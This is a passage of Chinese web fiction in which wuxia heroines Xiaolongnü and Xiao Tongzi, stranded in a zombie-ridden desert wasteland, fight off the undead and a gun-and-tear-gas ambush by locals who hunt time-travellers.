铁心兰翻出一个布包,放到两人面前:“前面快到绿洲了,你们得先把衣服换了。” 小童子和小龙女打开布包,低头看去。 布包里叠着几件奇怪衣物,有两件短袖,袖子短得只到上臂;两条长裤,布料柔韧,摸上去不像棉麻,也不像绸缎;还有两双适合在沙地行走的鞋,鞋底厚软入手却轻得很,高起的鞋帮能护住脚踝,也能挡住往鞋里钻的细沙。另有两件薄风衣,一件青色,一件白色,抖开时轻得像一层纸,衣料却密实,足以遮日头,也能挡住迎面扑来的风沙。 小童子和小龙女拿起那件短袖,比了比自己的胳膊,又看向铁心兰:“为什么要换?” 古墓派衣衫本就简单,白衣窄袖,行走练剑都不算碍事。两人不觉得身上衣裳有什么不妥,眼前两名女子虽有善意,可这衣服样式实在太奇怪。袖子短成这样,胳膊都露在外头,裤脚又直又窄,两人几乎要以为这是没做完的半截衣裳。 铁心兰收了笑意,声音有些低沉:“因为原住民认为穿越的古人带来了末世灾难。” 小童子眨了眨眼,这句话里的每一个字她大多听得懂,放在一起却有些奇怪。 小龙女抓住关键词:“末世灾难?” “一会你就能见识到,城镇荒废,到处都是活死人。”铁心兰指了指窗外,“活死人出现的时间,和古代武侠陆续穿越过来的时间差不多。有些原住民便认定,是古武人把灾难带到了这里。找不到真正的缘由,他们就把怨恨撒到古武人身上,尤其是穿着古装的人,最容易被盯上,甚至被猎杀。” 车内安静了一瞬,只余履带碾过沙地的低响。那声音沉而密,像有什么巨大东西贴着地面不断向前爬行。 “他们为何认定是古人带来的?”小童子问。 铁心兰摇头:“不是所有人都这样想,只是灾难来得太快,人怕到极处,总要找一个能看见、能恨、能杀的缘由。” 小龙女看着这些奇怪的衣裳:“所以换上原住民的衣服,是为了让旁人看不出我们是古人?” “对。”铁心兰松了口气,“也不是万无一失,但至少少惹麻烦。” 小童子低头看那件短袖,她从不怕麻烦。若有人要杀她和小龙女,她便杀回去就是。可这里的一切都尚未明白,车外沙漠没有尽头,李秀宁和铁心兰所说的一切都让人云里雾里。贸然与原住民为敌,并不聪明。 不过是换衣服,小龙女能接受:“那便换。” 铁心兰明显松了口气,她先教两人如何穿,然后把车厢后方一道帘子拉起来。 小童子和小龙女并不扭捏,快速把衣服换上。 布料贴着肩背,比小童子想象中柔软,也比古墓常穿的白衣更有弹性。袖口空荡荡露出手臂,起初让她很不习惯,像少穿了一截衣裳。可她抬了抬胳膊,又转了转肩,便感受到这衣服的便利。 小龙女也换好了短袖与长裤,短袖露出一截皓白手臂,长裤收住衣摆,再披上白色风衣。她衣裳变了,神色却仍清淡,乌发垂在肩后,风衣薄薄一层落在身上,竟仍有从前白衣的影子。少了古人衣袂飘拂的清冷,多了几分利落。 小童子看向她,目光不由停了一下。 换了这样一身新衣裳的小龙女,仍是小龙女,却又像多了一点说不出的气质。她清清冷冷地在那里,白色风衣衬得肩颈线条越发干净,乌发落在拉链边,被细小的齿扣轻轻挂住几缕。 小龙女低头看了一眼,抬手轻轻一拨。 她指尖从发间穿过,几缕黑发被慢慢撩开,发尾擦过衣领,又轻轻垂回肩头。两人离得近,小童子像是闻到一点极淡的清香,不知是小龙女发丝上的气息,还是衣裳上的气味。 小童子心口忽然重重跳了一下,她怔了怔,连方才想问这拉链是什么的话都忘了。 她低头看了看自己手里的青色风衣,像是忽然想起自己还没穿好,便把衣裳穿上。风衣帽子垂在后头,衣摆比短袖长些,随着她动作轻轻一晃。她抬手挥了两下,像试剑招,袖口再不会兜风,肩背也不受牵扯,方才那一下乱掉的心跳被她忽略掉:“这材质的衣服好像使剑更方便。” 铁心兰在帘子外听见,忍不住笑:“你们适应得还挺快。” 小童子认真道:“衣服好不好,动一动便知道。” 李秀宁在前方道:“出门在外帽子也戴上,既能防晒,又能阻挡他人的视线。” 铁心兰和李秀宁二人的斗篷与小龙女、小童子的风衣不同,外层泛着一点哑光,像专为挡烈日与风沙所制。帽檐压下来后,便只露出下半张脸。 履带车继续往前,不知又过了多久,沙丘尽头终于出现一点不一样的颜色。 起初只是几道暗绿,像有人在黄沙上撒了几笔浓墨。渐渐近了,那暗绿才展开成稀疏的树影。树木并不茂盛,叶片被晒得发灰,枝条上挂着风干的絮状物。 树影之后,一片残破的浅色高楼从沙地里露出来,有的拦腰折断,有的整栋倾斜着压向旁边街道,还有的只剩几层残壳歪在沙里。 墙面布满密密麻麻的黑点与焦痕,像被无数暗器打穿,又像被天雷劈碎过。可即便毁成这样,断裂的楼层仍一节节叠在一起,足以让小童子和小龙女看出它们从前高得惊人,形状和材质都不像她俩见过的任何房屋。 小童子贴近车窗,眼睛微微睁大:“龙儿,你看。” 小龙女也看见了,那是一座藏在沙漠中的绿洲城镇。 古墓外也有村舍,山下镇子里有瓦房、木楼、石桥。可眼前这些房子不同。它们虽残缺,倒下的半截楼体里仍能看出内里的结构,墙面不是砖木,也不像寻常山石,倒像某种灰白硬物整片浇成。 < p>许多楼已经塌到只剩四五层,远处还有更高的残楼斜斜靠在另一栋楼上,断口参差处露出黑色铁筋,像山壁被人硬生生劈开后露出的筋骨。每一层墙上都嵌着大片透明东西,有的已经碎尽,有的还残留半面,在日光下反射出刺眼白光。 小童子看向铁心兰:“那透明反光的是什么?” “那是玻璃窗。”铁心兰顺着她的视线看去,然后敲了敲眼前的车窗,“和这个东西差不多。” 小童子和小龙女摸着眼前的车窗,感受着玻璃是什么。 履带车驶入绿洲边缘,路面忽然变了,不再是松软黄沙,而是坚硬平整的灰黑石路。 履带碾上去时,车身震动反倒变轻。小童子低头看,只见路面宽阔得能并行数辆马车。路面颜色沉暗,表面裂开许多细长缝隙,间或陷着一个个圆形深坑。坑边焦黑,碎石翻起,像有什么沉重又炽热的东西从天上砸下来,在地上硬生生烙出伤口。可避开那些凹坑的地方,道路仍比小童子见过的官道都平整许多。路旁竖着一根根高杆,有的顶端挂着破裂的玻璃,有的歪斜倒伏,线缆像断掉的黑蛇垂在半空。 越往里行,荒败之色越重。这座绿洲原本大约住的人就少,如今更显得空。两侧店铺大门多半破烂,有的卷帘门被撕开一道豁口,有的玻璃门碎成满地闪光的渣。上方招牌斜斜吊着,上面的字小龙女和小童子认不全,只觉方方正正,笔画熟悉又陌生。风从空荡街道穿过,把塑料袋和纸片卷得贴地打转,发出沙沙轻响。 小龙女看着这些高楼,轻声道:“房子都是石头做的。” “也不全是石头。”铁心兰道,“有水泥、钢筋,还有很多我也说不清的材料。反正比木楼结实,建得也高。” “在我们那里,没这样的高楼。”小童子仰着头,看得脖子有点酸,她说完,又低头看那条黑灰的道路:“路也不像我们那的路。” 铁心兰发出有些落寞的声音:“其实在我的世界也没有。” 李秀宁把车停在一栋楼的阴影里:“下车。” 车门打开,热气立刻扑进来。那热与车内凉意相撞,小童子只觉脸上一烫,像有人把烧热的布蒙过来。她跟着小龙女下车,鞋底落在地面上,竟没有多少声响。灰黑色路面被太阳晒得发热,热意隔着鞋底隐隐传上来,却被那层柔软厚底挡住大半。 小童子走了几步,又跳了两下。鞋子柔软,鞋帮挡着沙,裤腿轻便,短袖也透气。风从衣袖与领口掠过,带走一点汗意。若不是这世界太陌生,她几乎要因这身衣服生出几分新奇欢喜来。 小龙女同样察觉到衣物不同,她向来少言,只垂眼看了看自己的袖口,又看了看掌心。露出的手掌被日光照得很白,风衣轻薄,衣摆不像旧日白裙那样碍步。她试着提气,足尖在地上一点,鞋底柔软,却不会卸力太过,仍能借到该借的劲。 街道尽头忽然响起一声低低的嘶吼。 66.活死人 小龙女和小童子立刻转头,远处阴影里冲出一个人。 不,或许已经不能算是人。那东西穿着破烂衣衫,皮肤灰败,手臂上有大片腐烂痕迹。它原先躲在一处遮阳棚下,背靠墙壁,头垂着,像一个晒得半死的乞丐。可它听见动静后,脖子以一种僵硬的姿势慢慢扭过来,身体七扭八歪地冲向四人。它那浑浊眼珠里没有人的神采,只有饥饿与本能。 “活死人。”李秀宁声音很轻,却没有慌乱,“这便是原住民说的末日灾难之一。普通原住民怕它,被它咬了也会变成活死人,除非被它完整地吃掉脑子。它们没有我们古武人的速度,对我们威胁不大。活死人的弱点在头,砍下或打碎,它们就会彻底动弹不得。” 李秀宁说完,便从地上拿起一块巴掌大的石头,然后用上内力狠狠把石头砸向活死人的头颅。那东西的头骨被砸得破碎,应声倒下,没有动静。 小龙女和小童子看着那玩意,眉头慢慢皱起:“它以前是人吗?” 李秀宁点头:“听说是,是这个世界的原住民。” 小龙女目光落在那活死人身上,这东西不像中毒,也不像走火入魔。它身上没有活人气机,却仍能动;说死未死,说活不活。若在古墓外的村镇里见到,必定要惊动许多人。可在这里,李秀宁和铁心兰只是看了一眼,便像看见路边野草一样平常。 这个世界究竟经历过什么,才会让活死人也成为寻常? 铁心兰没有参与讨论,她从车里拿出长剑递给李秀宁,自己带上一把柳叶刀,接着又从车底座拿出一块布。 李秀宁和她搭把手,把布抖开,然后笼罩在履带车上。那块布严丝合缝地贴住车身后,忽然泛起异样的变化,下一刻,连车带布一同消失不见。 小童子和小龙女惊讶,两人纷纷上手摸了摸,发现还能摸到车,但是人眼却看不见。 铁心兰笑着解释:“这是原住民的科技产品,叫变色龙布。不要问怎么做到的,我和秀宁也不懂。” 李秀宁取出一张简陋地图,那地图像从什么本子上撕下来的,边角磨损,上面用黑线画着几条街道,又用红笔圈出一片区域。她看了片刻,带着三人走入旁边一栋楼。 楼门早已破了,大门一半歪倒在地,另一半挂在门框上,风一吹便发出细微吱呀声。门厅里满是灰尘,地上散着碎玻璃、断木、纸张,还有几个被踩扁的金属罐。墙壁上贴着褪色的图画与小龙女和小童子看不懂的告示,角落里有干涸发黑的痕迹,像血,却已被尘土盖住。 楼内阴凉许多,热意被厚墙挡在外头,空气里却有一种陈腐味道,混着霉、灰、旧血和说不清的酸败。 小童子鼻尖轻轻动了动,几乎立刻屏住呼吸。古墓潮湿,却干净;这里却像许多腐朽的气味沉在墙缝里,久久散不出去。 她和小龙女好奇地环顾四周,身体却自然而然跟着李秀宁和铁心兰往里走。 楼梯间在门厅后方,扶手冰冷,台阶是某种灰色石料,边缘磕破不少。 李秀宁没有走楼梯,只抬头看了一眼楼梯井。上方四楼的位置破开一个洞,半截楼板塌落,露出斜斜的钢筋和断裂水泥,正好通向外侧平台。她足尖一点,整个人轻轻跃起,白斗篷一展,像一只白鸟掠过阴影,从那处破洞中穿过,转瞬便落到四楼平台。 铁心兰紧随其后,身形轻盈,斗篷帽檐在半空微微翻起,又落下。 小童子对小龙女说:“她俩轻功还行。” 小龙女点头,两人几乎同时跃起。小龙女白色风衣只轻轻一拂,便已沿墙而上,从破开的楼道缺口穿出;小童子青色衣摆在半空一掠,眨眼就落到四楼平台,连灰尘都未惊起多少。 四人汇合在四楼走廊,走廊一侧是破碎窗洞,阳光斜斜照进来,把空气里的尘埃照成一条条细亮的线。窗外可见整片绿洲废城,若不看那些破损痕迹,这里本该是很繁华的地方。高楼如林,道路如网,这些都显示出这里曾有一套小龙女和小童子无法想象的生活方式。 小龙女问:“我们要去哪里?” 李秀宁低头看着手上的简陋地图:“我们要去一个传闻中的卡牌生成点,我和心兰想要找到回家的路。” 她手指点在地图红圈上,声音低了些:“这个世界最奇怪的地方,不是楼下那些看起来半死不活的活死人,也不是那些高耸入云的石楼。真正奇怪的,是流落到我们手上的卡牌。” 铁心兰从斗篷下摸出那张透明卡牌,昏暗走廊里,卡牌边缘泛起微弱金光。 李秀宁继续道:“它是怎么知道我们的姓名,又怎么知道我们的世界来源?所以我和心兰想着,如果弄清楚卡牌的来源,说不定能找到回到我们世界的线索。” 小童子和小龙女虽然对这个世界仍懵懂,却听出这话颇有几分道理。 她们对卡牌也十分好奇,那卡牌看似薄脆,却能凭空显字;能识得小龙女姓名,却识不得小童子。这个世界已经有太多难解之物,会动的死人、复杂的履带车、隐形的科技布、残破的楼房,样样都在刷新她们的认知。可若这些都只是这个世界原本所有,卡牌就像从更高处垂下来的一根线,连着她们来的地方,也可能连着回去的路。 小童子看着窗外一排高楼:“龙儿,你说我们那里有没有这样的地方?” 小龙女思考片刻:“沙漠之地应该是有的,以前师姐给我们买的《九州山川志》里写过类似地方。不过这样高的房子,这样平整的道路,没有在书上见到有提过。” “我们或许真的不在以前的世界了,身上这样的衣服,我也从未见过。”她低头看自己风衣里的短袖,又晃了晃手臂,“这短短的袖子,感觉练剑更方便了。” 她说着,便开心地晃了晃手臂,眼睛里都是亮色。 小龙女见她如此,心情也莫名好起来。她不太懂怎么形容这种感觉,只觉得这片废城的破败与陌生,都因小童子这一点开心而变得无足轻重。 铁心兰和李秀宁见两人情绪饱满,丝毫不像她们刚来到这个世界时那样无助、恐惧又思乡,不禁觉得有些神奇。 铁心兰忍不住问:“你俩都不觉得恐惧和害怕吗?突然来到这样陌生的地方。” 小童子回头看她,答得很快:“因为龙儿在,所以没什么好恐惧的。” 小龙女看着小童子,说:“童儿在,我也没什么好恐惧的。” 她们两人相依为命多年,有对方在的地方便像是家。古墓自然还是要回的,只因师父说过不能出墓,可眼下天地都换了模样,着急也无用。只要对方在,就已经很好了。 小龙女顿了顿,又看向李秀宁和铁心兰:“而且也许是因为遇见了两位姑娘,在你们身上,能感受到善意。” 走廊里静了一瞬,铁心兰忽然觉得胸口像被什么轻轻碰了一下。她来到这个世界半年,见过太多防备、算计、惊惧与绝望。善意在这里很贵,贵到许多人明明有,却不敢拿出来。可眼前这两个初到此界的古代姑娘,竟说得这样自然。 李秀宁也沉默片刻,随后淡淡道:“那你们眼光不错。” 铁心兰笑了一声:“秀宁,你这话也太不谦虚了。” 李秀宁低头看地图:“活着的时候,谦虚不是最要紧的。” 李秀宁带着三人继续走,她们先从这一栋破楼的四楼窗洞跃出,落到旁边半塌的广告架上,再借力跳到另一栋楼的外墙平台。风从楼间穿过,带着热沙与腐朽气味,吹得斗篷和风衣猎猎作响。脚下是四层高的空地,碎玻璃在阳光里闪着细光,远处阴影里偶尔有丧尸仰头,迟钝地发出几声嘶哑吼叫。 她们刚落到外墙平台上,旁边半扇破窗后忽然探出一张青灰色的脸。那东西似乎一直卡在窗框里,被风声和脚步惊动,猛地扑出半个身子,腐烂的手指抓向最近的铁心兰。 铁心兰像早已料到一般,脚步未停,柳叶刀反手一抹,刀锋从那活死人的颈侧掠过。李秀宁同时伸手按住窗框边缘,借着铁心兰这一刀的势,靴尖重重踢在那东西脑袋上,直接将那颗头踢飞出去。屋内传来一声沉闷撞响,很快没了动静。 铁心兰甩去刀上污血,神色平常:“别停,这种地方总有几个活死人藏在角落。” 她话说得轻松,可收刀时手腕微微顿了一下。小童子注意到她眼下有淡淡青影,像是许久没有好好睡过。李秀宁也没有催得太急,只把地图收起时按了按眉心,指节在额角停了片刻,才继续往前走。 小童子和小龙女跟得很轻松,现代高楼虽陌生,可墙角、窗沿、管道、突出的钢筋,在她俩眼中都能成为借力之处。她俩越走越觉得这地方虽破,却很适合练轻功。只是气味太差,灰也太多,若在这里练上一整日,衣服大约会脏得很难洗。 李秀宁七拐八拐,带着三人从这一栋破楼跳上另一栋破楼,又从下一栋破楼的电梯口跃下。 小童子站在那个黑洞洞的方井前,低头看了看:“这是井?” “电梯井。”铁心兰道。 “电梯是什么?” 铁心兰想了想:“一种能把人从楼下带到楼上的箱子。” 小童子认真道:“像车,但是上下走?” 铁心兰眼睛一亮:“差不多。” 小童子:“这个世界的车真多。” 她们顺着电梯井落到另一栋楼的地下室,地下 室里比楼上更暗,空气也更冷,墙角积着一层污水,水面浮着油膜和灰尘。李秀宁打开一个小小的手电,白光一束照出去,照见墙上剥落的漆皮、地上凌乱的脚印,以及尽头一扇变形的铁门。 白光扫过铁门时,门后忽然响起指甲刮铁的声音。下一刻,那扇早已变形的铁门被从里面撞开一道缝,一只活死人挤着门缝钻出来,肩骨在金属边缘擦得咯咯作响。它动作不快,却没有痛觉,半张脸都被门边磨破了,仍旧伸手往光里扑。 李秀宁只把手电往旁边一偏,空出的手已拔出腰间长剑。剑光在地下室里一闪,那只手先落进污水里,紧接着活死人被她一脚踢得跪倒。铁心兰从侧旁补上一刀,干净利落地刺入后脑勺,又顺势把尸体推到墙边,免得挡住路。 两人配合得太熟,一前一后,连一句话都不用说。 只是李秀宁收剑入鞘时,呼吸比方才沉了些。她侧过脸,借手电光看了一眼通道深处,眼神仍旧冷静,眼底却有一点强撑出来的清醒。铁心兰靠在墙边停了半息,闭了闭眼,再睁开时才把柳叶刀重新握紧。 小童子和小龙女盯着手电看,满脸好奇。这个世界像把许多夜明珠拆得很碎,塞进不同东西里。车里方块会发光,卡牌会发光,现在连李秀宁手中的小棍也会发光。 四人从地下室穿过,绕开一处塌陷地面,又在堆满杂物的墙边找到一个破洞口。洞口不高,只能弯身钻入,边缘有粗糙水泥和断裂钢筋。铁心兰先用柳叶刀把几根尖锐钢筋压下,免得划破衣服。 四人钻进去,前方是一条狭窄通道。 通道尽头隐约透出一点灰白光,空气里有尘土被翻动后的味道。越往里爬,越安静,连楼外风声都被厚墙隔绝,只剩衣料擦过墙壁和掌心按过碎石的轻响。 然而这安静也只维持了片刻,右侧墙根一处塌落的暗洞里忽然传来低低嘶声,两个活死人一前一后挤出半截身子。它们大约困在这里很久,身上衣料烂成条状,膝盖和手掌都磨得露出森白骨色,却仍闻着活人的气息,贴着墙往几人脚边爬。 通道里施展不开,李秀宁只能半跪着侧过身,贴墙迎上去。她以剑脊先砸断前面那只的腕骨,随即剑锋下沉,横切过喉。铁心兰从她肩后递出柳叶刀,像从一道缝里送出一线寒光,正刺进后面那只活死人的眉心。 尸体倒下时没有碰到她们的衣角,铁心兰甚至还顺手把其中一只拖到墙边,给后面的人让出落脚处。她拖完活死人后靠在墙边,缓缓喘气。 李秀宁看了她一眼,低声问:“还能撑住吗?” 铁心兰抬手揉了揉太阳穴,声音压得很低:“能,但之后我真的需要好好休息一下,有点困。” 李秀宁“嗯”了一声,没有多说,只放轻动作,继续往通道深处爬去。 没过多久,身下忽然传来一阵令人心惊的裂响。几人刚爬到这里,通道便像是承不住四个人的重量,脚下那一段猛地塌了下去。 四人立刻运起轻功,在黑暗中稳住身形,先后轻轻落地。脚尖刚触到地面,一股浓郁的血腥味便扑面而来。那味道像在封闭处闷了很久,沉沉压在黑暗里,连灰尘和腐朽气息都遮不住。房间里没有窗,墙壁挤得很近,脚下似乎散着许多东西,踩上去会发出细碎轻响。 铁心兰握紧柳叶刀,疲意像被这股血腥味惊散了几分。李秀宁抬头看了一眼塌开的通道,又摸向腰间的手电:“这里恐怕就是了。” 小童子下意识屏住呼吸,小龙女的目光在黑暗中慢慢扫过。她们都能在暗处视物,很快便看见地上和墙边有许多发黑的血迹。那些血迹很怪,不像刀剑砍伤后溅开的,也不像人倒地后慢慢流出的,倒像被什么看不见的东西一排排扫过去,留下断续而凌乱的长痕。 两人看得皱起眉,却想不明白这样的痕迹究竟是怎么来的。 白光亮了一瞬,房间里的景象在电光中断断续续闪出几片:翻倒的桌椅,被撬开的柜子,地上发黑的大片血迹,墙壁上被撕空的斑驳痕迹,还有角落里几只堆叠的空箱。天花板那盏坏灯裂着灯罩,垂在半空,像一只睁不开的眼睛。 手电闪了两下,光线忽明忽暗。 就在这短短几息里,李秀宁看见墙面上下左右全是黑压压的小孔洞,连头顶斜上方也有一排压下来的暗孔。那些孔洞细而密,正对着房中每一处能落脚的地方。 她立刻明白过来。 这里就算真是卡牌生成点,也已经被人布成了陷阱。 手电彻底黑了,李秀宁脸色骤变,猛地大喊:“撤!” 话音刚落,小龙女和小童子听见墙后传来一阵整齐的咔嚓轻响。 顿生异变! 67.埋伏 下一瞬,小童子和小龙女看见一个小罐从墙上破洞里被抛了进来。 那罐子只有拳头大小,外壳灰黑,落地时“当啷”一声,撞上翻倒的椅脚,又在地上旋转起来。它一边转,一边从罐口喷出白烟。白烟起初只是一缕,转眼便铺开,贴着地面翻滚,像被点燃的湿棉絮。 刺鼻的气味猛地冲上来,小童子和小龙女几乎本能地屏住呼吸,同时闭上眼。 她们从小在古墓里长大,古墓无光,甬道深长,许多时候练功并不靠眼。闭上眼后,世界没有变窄,反而更清楚了。烟罐在地上滚动的细响,铁心兰骤然吸气后呛出的咳声,李秀宁抬手用衣袖捂住嘴鼻的声音,墙外有人压低呼吸,还有更远处金属碰撞的轻声,都一一浮进耳中。 铁心兰剧烈咳嗽起来:“咳咳……” 李秀宁也被烟呛住,声音一下变哑,却仍咬着牙说了句:“催/泪/弹。” 小童子听不懂这三个字,可她听出了危险的意味。 下一瞬,巨大的破空声接连不断地响起。 不是寻常暗器,暗器再快,也会有袖风、腕劲。可这东西先是外头一声爆裂般的响,紧接着空气被撕开,像有看不见的细铁珠从极远处直撞进来。声音密得惊人,一声连着一声,几乎没有停顿。 小龙女和小童子同时行动。 小龙女一把扣住李秀宁手腕,足尖在翻倒的矮柜上一点,带着她斜斜掠起。李秀宁虽也会轻功,可烟气入眼入喉,加上连日疲劳,反应终究慢了一拍。她只觉手腕一凉,整个人已被一股柔劲牵着离地,身形刚从原处掠开,耳边便是“噗噗”几声,方才站立处的地面和身后的墙面被打出一排碎坑。 小童子也拉扯上铁心兰,铁心兰正咳得眼泪直流,还没来得及分辨方向,便被小童子带着矮身一窜,从翻倒桌椅间贴地滑过,又借墙角断柜往上一跃。几枚金属小物擦着她们脚下飞过去,打进后方墙壁,碎灰扑簌簌落下。 两人没有停留,小龙女拉着李秀宁在狭小房间里一折再折,时而掠上半倒的柜顶,时而贴着墙面横移,时而从垂下的坏灯旁轻轻荡过;小童子则带着铁心兰在另一侧窜上窜下,脚尖点过断椅、箱角、墙边突出的铁架,两道身影像在碎裂的屋宇间借风游走。子弹追着她们落下,却总慢半拍,不是打进她们刚离开的地面,便是撞碎身后墙皮,留下一个个冒着灰尘的小坑。 小童子和小龙女闭着眼,耳朵却像张开了一张细网。哪一颗“暗器”从墙外直入,哪一颗从墙洞里斜入,哪一颗打中铁柜后弹开,她俩都听得分明。起初只觉这东西快得惊人,听得多了,反而渐渐分出几分规律:响处即来处,来处成线,打空之后便只剩碎石和回音。 “小心子弹。”李秀宁低声道,话才说完,她又咳了起来。 子弹,小童子和小龙女同时听清,原来这种会发出巨响、快得近乎看不见的武器,叫子弹。 小童子和小龙女没有多问,五指一动,两柄长剑同时出鞘。 锵一声,剑光在烟雾中亮起。玉女剑法展开,霎时间清冷剑意铺满狭窄房间。 门外又是一连串巨响,密密麻麻的子弹破空而入,撞进这张剑网里。第一颗打在小童子剑脊上时,她手腕微微一震,只觉那股冲力尖锐而凶猛,像有人将重锤之力凝成一点,狠狠砸在剑脊上。 紧接着,更多子弹撕开烟雾,几乎不分先后地压了进来。 小龙女剑锋轻轻一压,剑光斜转,连着数点寒芒一并带偏;小童子手腕翻挑,长剑从低处斜斜掠起,将贴地射来的弹雨尽数拨开。两柄剑一左一右,一缓一疾,在狭窄房间里织成一片流动的冷光。子弹撞上剑脊、剑锋,爆出细碎火星,又被剑网上的力道层层卸去,脱力跌在地上,叮叮咚咚滚作一片。 门外的人显然也怔住了,射击停了一瞬。 这一瞬已经够了,小龙女剑光一转。 方才几次剑与子弹的交锋,已让她摸清了子弹的威力。那股力道确实迅猛,可她内力压得住,出剑的速度也追得上;既然接得住、拨得开,便未必只能挡下。 金轮圆意化出,剑光在烟雾里一折一绕。右墙外再有子弹射入时,她没有硬挡,只在剑锋边缘顺势微微一滑。那一点圆意薄得近乎无声,却精准得可怕,每一颗子弹都被她改了来势,沿着原路反卷回去,穿过墙洞,没入射击者眉心。 右墙外的枪声骤然断了,左墙后的人还未明白发生了什么,便有人惊叫:“怎么回事!” 小童子也没停下,与子弹交锋过后,她心中已有分寸。她松开拉着铁心兰的手,任铁心兰身形往下一坠,同时将长剑往上一抛。剑身脱手,在半空翻出一道冷光。她掌心一沉,丹田气机循着亢龙有悔的路数骤然贯通肩背,一掌推出。 这一掌走的是降龙十八掌大开大阖的劲路,掌风深处却藏着她自己的无形剑意。 掌力轰然向前,迎面吞没左墙外飞来的一片子弹。那些细小金属刚撞入掌风,便被无形剑意层层碾碎,化作铁屑四散迸开。下一瞬,亢龙有悔的雄浑掌劲已穿过铁屑,重重撞上左侧水泥墙。 轰!厚重墙面应声裂开,整片向外崩塌。 碎水泥、断砖、灰尘一并炸开,墙后埋伏的人被掌力掀飞。有两人直接撞上后方铁架,吐出血来;还有几人滚倒在地,手里的长管武器脱手滑开,发出刺耳摩擦声。 铁心兰失了小童子拉扯,于半空中坠落。她眼睛被烟呛得睁不开,心中一惊惧,手脚胡乱划拉。 小童子出掌后顺势收腕,一手向下一探,正扣住铁心兰衣袖,将人稳稳拽回。半空中的长剑也在此时落下,被她反手接住,救人、收剑,前后不过一息。 另一边,小龙女拉着李秀宁,足尖一点,踢起地上两把剑鞘。 剑鞘在烟雾里飞起,小童子和小龙女几乎同时收剑。 锵、锵,长剑入鞘。下一瞬,两人一左一右,各带一人,直接从破碎的墙面掠了出去。 外头埋伏的人还未从灰尘与掌力里回过神,只看见两道影子从破墙中穿出。一青一白,快得像风里两片光。等他们勉强抬起武器时,四人已经越过断裂走廊,跃出楼体缺口。 现场只剩下满屋烟雾、叮当滚动的弹壳、倒地呻吟的人,以及生死不明的埋伏者。 小童子和小龙女冲出破楼,外头阳光刺眼,新鲜空气夹着热沙扑面而来。小童子睁开眼,她拉着铁心兰,足尖点过一截断裂窗沿,又借旁边横出的钢筋一荡,落到隔壁楼外墙。小龙女带着李秀宁从另一侧掠出,白色风衣在空中展开,像一线冷光。 四人一左一右,在楼与楼之间逃窜。 废城的高楼多已倒塌,反倒生出许多可借力之处。半截墙、断梁、露出的管道等等,都成了她们脚下的路。下方街道上有丧尸听见枪响,仰头嘶吼。 李秀宁和铁心兰闻到新鲜空气后,终于勉强睁开眼。 两人眼眶通红,喉咙仍被催/泪/弹呛得发涩。铁心兰深吸一口气,险些又咳出来,却还是先道:“多谢。” 李秀宁也哑声道谢。 说完,她便从小龙女牵引中调整身形,重新拿回身体控制权。铁心兰也强撑着稳住脚步,从被小童子带着走,变成自己跟上。 李秀宁抹去眼角被呛出的泪,回头看了一眼枪战地点。 远处破楼外,隐约有人影晃动。埋伏的人还在混乱中,但枪声必定会引来更多丧尸,也可能引来更多人,此地不可久留。 “跟我走。”她说,李秀宁再次带队。 她没有往履带车停放的方向去,而是绕了半圈,先穿过两栋相连的残楼,又从一条塌了半边的天桥上掠过。天桥下方有几辆锈蚀的车壳堆在一起,车窗碎尽,车门扭曲,像被什么巨力揉过。风从车壳缝隙里穿过,发出空洞的哨声。 小童子看了一眼,眼中带着一丝好奇。 四人远远离开枪战地点后,李秀宁才带她们跑进一栋城镇边缘的房子。 这栋房子矮一些,只剩三层,外墙被晒成灰白色,墙角堆满黄沙。二楼阳台半塌,栏杆断了一截,窗玻璃碎得只剩几片尖锐边角。李秀宁没有走门,直接从阳台翻入。铁心兰跟上,小龙女和小童子随后落地。 房间里很暗,厚窗帘烂了一半,仍垂在窗边,挡住大半日光。地上铺着一层灰,角落有翻倒的沙发和裂开的木桌。墙上挂着一幅褪色的画,画里是小童子看不懂的海,蓝得像另一个世界。空气里有陈旧灰尘的味道,却没有方才地下房间那种浓重血腥。 李秀宁先走到门边,侧耳听了片刻,又检查窗外。 铁心兰则靠着墙坐下,闭眼缓了缓。她脸色有些白,眼睛红得厉害,方才虽没有中枪,却被催/泪/弹呛得不轻。 小龙女看着她们,终于问:“刚刚是怎么回事?” 68.守夜 小童子也一脸谨慎地看着眼前两人。 她俩愿意相信善意,却不会因此放下所有戒备,尤其方才那场袭击来得太巧。李秀宁和铁心兰带她们到卡牌生成点,下一刻便有人偷袭。 李秀宁面露愧色:“抱歉,我想是我连累你们了。” 小童子和小龙女没说话,只等她继续。 李秀宁道:“我拿到的那个卡牌生成点信息,应该是假的。有人故意散布消息给我们这些人,然后设下埋伏。” “你们这些人?”小龙女问。 “穿越来的古武人。”李秀宁道,“他们知道我们想找回家的线索,也知道我们会冒险去查。” 小龙女皱眉:“刚刚那些,是想要猎杀古武人的原住民吗?” 李秀宁点头:“应该是,他们武器是枪弹和催/泪/弹,这些都是原住民常用的武器。” 小童子想起那密集破空声,又想起墙上被打出的碎坑:“枪弹就是子弹?” “枪是发射它的东西。”铁心兰抬手比了一下,“子弹就是打出来的铁弹,速度很快,威力很大,普通人挨一下,多半就活不了。” 小童子想了想:“威力和速度都很惊人,不过轨迹太直是它的缺点。” 小龙女上前半步:“他们仅仅是因为憎恨,就猎杀我们吗?” “不只。”铁心兰摇头,她停了一下,像是在斟酌该不该说得太重,“抓到我们,或者杀了我们,他们都能领赏,有些人还会拿尸体去换东西。至于能换什么,我和秀宁也不清楚,这大半年我们多半离群,其实没比你们多知道多少。” 小童子疑惑:“领赏是指有人发布猎杀我们的任务?” 李秀宁点头:“对,任务发布在交易中心或者其他人员聚集的地点。” 小龙女突然想到:“识别古武人的方式就是你们上次用的卡牌吗?” 李秀宁和铁心兰对视一眼,没想到小龙女那么敏锐。李秀宁点头,肯定小龙女的说法。 小童子和小龙女看向对方,方才那点疑问才落下,心头又添了新的沉重。 铁心兰面露歉意:“我有个请求。” 她说着看向李秀宁,声音低了些:“我和秀宁不能再硬撑了。” 李秀宁没有反驳,半年来,她和铁心兰很少真正睡过安稳觉。这个世界处处都有危险:废墟里有活死人,原住民会猎杀她们,连古武人之间也未必可信。她们轮流守夜,轮流赶路,轮流处理伤口。许多时候闭上眼还没多久,便要被一点风声惊醒。 方才遇袭时,小童子和小龙女第一时间出手救了她和铁心兰。李秀宁觉得,她们或许可以信得过。 她看向两人,声音诚恳:“我和心兰已经很久没有好好休息过了。刚刚那场打斗,我明显感觉到自己体力跟不上,判断也慢了。若你们愿意,今晚能不能替我们守一夜?” 